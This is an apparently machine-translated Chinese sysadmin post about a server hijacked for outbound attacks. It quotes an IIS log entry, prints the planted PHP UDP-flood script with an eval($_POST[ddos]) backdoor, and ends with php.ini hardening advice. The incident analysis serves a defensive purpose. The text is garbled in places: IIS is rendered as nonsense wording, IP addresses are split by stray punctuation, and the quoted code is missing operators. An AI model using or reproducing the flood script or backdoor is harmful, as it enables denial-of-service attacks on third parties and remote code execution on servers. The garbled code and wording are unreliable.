最近一两个服务器网络经常出问题，甚至断网，PING直接掉包很多。重启后正常。
查看（同移民检查员移民检查)日志后看到有这么一行日志w3svc 83 60.191。XXX。XXX获取/帮助。PHP IP=222。87 .129 .xxxport=80 time=7200 80-122.225。115 .XXX Mozilla/4.0(兼容；MSIE 6.0 windows NT 5.1 sv1)401 5 5 1726 410。
$packets=0;$ip=$_GET['ip'];$rand=$_GET['port'];set_time_limit(0);ignore_user_abort(FALSE);
$exec_time=$_GET['time'];
$time=time();print 'Flooded: $ip on port $rand brbr';$max_time=$time+$exec_time;
for($i=0;$i65535;$i++){ $out .='X';}while(1){$packets++; if(time() $max_time){ break; } $fp=fsockopen('udp://$ip', $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); }}echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s n';php eval($_POST[ddos])?
有了代码，工作原理就很清楚了。总的来说，它没有受到攻击。而是去攻击别人。
解决方案：
PHP不允许使用网络。将php.ini中allow_url_fopen的值改为allow_url_fopen=Off。
如果没有。
；extension=PHP _ sockets . dll(sockets.dll受限)；这两项上的Ignore_user_abort=前面有分号。但这两项默认是这样设置的。
防止有的同志手动打开。然后重启IIS。
